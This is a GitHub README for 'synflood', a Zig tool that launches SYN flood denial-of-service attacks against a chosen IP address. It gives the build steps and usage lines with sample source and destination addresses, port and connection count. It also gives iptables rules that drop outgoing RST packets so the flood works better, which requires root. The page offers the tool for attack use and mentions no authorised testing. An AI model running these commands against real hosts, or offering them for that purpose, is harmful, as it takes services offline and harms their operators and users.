TH
TheFox/synflood
Start a SYN flood attack to an ip address.
SynFlood
Start a SYN flood attack to an ip address.
Requirements
-
Zig
-
libnet
libnet1-devunder Debian:apt-get install libnet1-devlibnetunder macOS:brew install -s libnet
-
Root access for sending a packet.
-
Its recommended to block all RST packets from the source host on the source host.
iptables -I OUTPUT -p tcp --dport 80 --tcp-flags RST RST -j DROP iptables -I OUTPUT -p tcp --dport 80 --tcp-flags RST ACK -j DROP
Download
Download the latest binaries from version 3.
Build
-
Clone:
git clone https://github.com/TheFox/synflood.git
-
In
synflooddirectory, make:zig build
Binary file is available as
zig-out/bin/synflood. -
Done.
Usage
synflood [-h|--help] -s <IP> -d <IP> -p <PORT> -c <NUM>-s: Source IP address.-d: Destination IP address.-p: Destination port.-c: Number of connections.
Examples:
./synflood -s 192.168.241.31 -d 192.168.1.3 -p 80
./synflood -s 192.168.241.31 -d 192.168.1.3 -p 80 -c 1000Debug
sudo tcpdump -ni en0 'tcp and host <IP>'On this page
Languages
Zig99.2%Shell0.8%
Contributors
MIT License
Created December 18, 2010
Updated February 13, 2026